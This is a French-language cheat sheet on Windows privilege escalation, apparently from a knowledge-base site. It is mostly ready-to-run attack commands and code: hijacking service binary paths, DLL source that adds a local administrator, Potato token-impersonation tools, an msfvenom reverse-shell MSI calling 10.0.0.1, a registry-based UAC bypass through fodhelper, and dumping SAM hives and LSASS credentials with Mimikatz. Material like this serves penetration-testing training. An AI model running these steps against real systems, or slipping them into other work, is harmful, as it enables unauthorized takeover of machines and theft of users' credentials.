Garden of KnowledgeApplied Sciences › Computer Science › Software › Security › Offensive
March 22, 2026

Windows Privilege Escalation

L’escalade de privilèges Windows vise à passer d’un compte utilisateur ou service standard vers SYSTEM (équivalent root), en exploitant des mauvaises configurations, des services vulnérables ou des mécanismes Windows mal sécurisés.

Énumération initiale§

# Identité et droits
whoami
whoami /priv                    # Privileges de l'utilisateur
whoami /groups                  # Groupes d'appartenance
net user                        # Utilisateurs locaux
net localgroup administrators   # Membres du groupe Admins

# Système
systeminfo                      # Version OS, hotfixes installés
wmic os get Caption,Version,BuildNumber
wmic qfe list brief             # Liste des patches installés
wmic logicaldisk get Caption    # Disques

# Réseau
ipconfig /all
netstat -ano                    # Connexions et ports ouverts
route print

Services vulnérables§

Unquoted Service Paths§

Si le chemin d’un service contient des espaces et n’est pas entre guillemets, Windows cherche le binaire à chaque espace.

Chemin vulnérable :
C:\Program Files\My Service\myservice.exe

Windows cherche dans cet ordre :
C:\Program.exe                        ← Si on peut créer ce fichier
C:\Program Files\My.exe               ← Si on peut créer ce fichier
C:\Program Files\My Service\myservice.exe  ← Binaire légitime

→ Si on a les droits d'écriture dans C:\ → placer C:\Program.exe
→ Au prochain démarrage du service → exécution de notre binaire en SYSTEM
# Trouver les services avec chemins non quotés
wmic service get name,displayname,pathname,startmode |
  findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v '\"'

# Vérifier les droits sur les répertoires
icacls "C:\Program Files\Vulnerable Service"
# BUILTIN\Users : (W) → tout le monde peut écrire → exploitable

Permissions de service mal configurées§

# Vérifier les permissions sur les services
# accesschk.exe (Sysinternals)
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -ucqv [ServiceName] /accepteula

# Si SERVICE_ALL_ACCESS ou SERVICE_CHANGE_CONFIG → modifier le binaire path
sc config [VulnerableService] binpath= "C:\Temp\shell.exe"
sc stop [VulnerableService]
sc start [VulnerableService]

DLL Hijacking§

Windows cherche les DLL dans un ordre précis. Si un répertoire prioritaire est modifiable, on peut y placer une DLL malveillante.

Ordre de recherche DLL (SafeDllSearchMode activé) :
1. Répertoire de l'application
2. C:\Windows\System32
3. C:\Windows\System
4. C:\Windows
5. Répertoire courant
6. Répertoires dans PATH

Si le répertoire de l'application est modifiable et qu'une DLL est manquante :
→ Placer notre DLL dans ce répertoire → exécutée avec les droits du service
// DLL malveillante — shell.dll
#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        system("cmd.exe /c net localgroup administrators user /add");
    }
    return TRUE;
}
# Détecter les DLL manquantes avec Procmon (Sysinternals)
# Filtre : Result = "NAME NOT FOUND" + Path ends with .dll
# + Process = service cible

# Ou avec PowerSploit
Find-ProcessDLLHijack
Find-PathDLLHijack

Token Impersonation et SeImpersonatePrivilege§

Si l’utilisateur possède le privilege SeImpersonatePrivilege (comptes de service IIS, SQL Server), il peut usurper l’identité d’un token SYSTEM.

# Vérifier les privileges
whoami /priv
# SeImpersonatePrivilege        Enabled → vulnérable

# Outils d'exploitation
# PrintSpoofer (Windows 10 / Server 2019)
.\PrintSpoofer.exe -i -c cmd
# → shell SYSTEM

# GodPotato (toutes versions Windows récentes)
.\GodPotato.exe -cmd "cmd /c whoami"

# JuicyPotato (Windows < 1809)
.\JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {CLSID}

# RoguePotato
.\RoguePotato.exe -r 192.168.1.10 -e "cmd.exe" -l 9999

Registre Windows§

# AlwaysInstallElevated — MSI s'installent avec droits SYSTEM si activé
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Si les deux valeurs = 1 → exploitable

# Générer un MSI malveillant
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f msi -o shell.msi
msiexec /quiet /qn /i shell.msi   # Installation silencieuse avec droits SYSTEM

# Credentials dans le registre (AutoLogon)
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
# Chercher : DefaultUserName, DefaultPassword

# Credentials SAVegardés
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s   # Sessions PuTTY
reg query "HKLM\Software\ORL\WinVNC3\Password"              # VNC

UAC Bypass§

L’UAC (User Account Control) demande une confirmation avant d’exécuter des actions à hauts privilèges. Certaines techniques le contournent sans fenêtre de dialogue.

# Vérifier le niveau UAC
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin
# 0 = elevation automatique sans prompt (bypassable)
# 2 = toujours demander (plus sécurisé)

# UAC Bypass via fodhelper.exe (Windows 10)
# fodhelper lit HKCU\Software\Classes\ms-settings\Shell\Open\command
# et exécute la commande en élevé

New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" `
    -Name "DelegateExecute" -Value ""
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" `
    -Name "(default)" -Value "cmd /c start C:\Users\user\shell.exe"
Start-Process "C:\Windows\System32\fodhelper.exe"

# Nettoyage
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force

# UAC Bypass via eventvwr.exe (similaire)
# eventvwr cherche HKCU\Software\Classes\mscfile\Shell\Open\command

Credentials dans les fichiers et mémoire§

# Fichiers de configuration
findstr /si password *.xml *.ini *.txt *.config 2>nul
findstr /si password C:\inetpub\wwwroot\*.config 2>nul
type C:\Windows\Panther\Unattend.xml    # Config d'installation non-interactive
type C:\Windows\Panther\Unattended.xml
type C:\sysprep\sysprep.xml             # Sysprep credentials

# SAM et SYSTEM (si accessible)
# La base SAM contient les hashes NTLM des utilisateurs locaux
reg save HKLM\SAM C:\Temp\sam.hive
reg save HKLM\SYSTEM C:\Temp\system.hive
# Transférer sur Kali et extraire :
impacket-secretsdump -sam sam.hive -system system.hive LOCAL

# Credential Manager
cmdkey /list                            # Credentials sauvegardés
# Si un credential admin est présent :
runas /savecred /user:DOMAIN\Administrator "cmd.exe"

# LSASS Memory dump (nécessite admin ou SeDebugPrivilege)
# Mimikatz
privilege::debug
sekurlsa::logonpasswords   # Extraire les credentials en clair de la mémoire

Outils automatiques§

# WinPEAS — le plus complet
.\winPEAS.exe

# PowerUp (PowerSploit)
. .\PowerUp.ps1
Invoke-AllChecks

# Seatbelt (énumération de sécurité)
.\Seatbelt.exe -group=all

# BeRoot
.\beroot.exe

# Sherlock (exploits kernel Windows)
. .\Sherlock.ps1
Find-AllVulns

Récapitulatif par priorité§

VecteurConditionOutil
SeImpersonatePrivilegeCompte de servicePrintSpoofer, GodPotato
AlwaysInstallElevatedRegistre configuréMSI malveillant
Unquoted service pathChemin avec espacessc config
DLL hijackingDLL manquante dans répertoire modifiableDLL custom
Credentials en clairFichiers de config, registrefindstr, reg query
SAM dumpAccès aux fichiers SAMimpacket-secretsdump
UAC bypassNiveau UAC 0 ou 2fodhelper, eventvwr
Kernel exploitVersion vulnérableEternalBlue, PrintNightmare
—The Gardener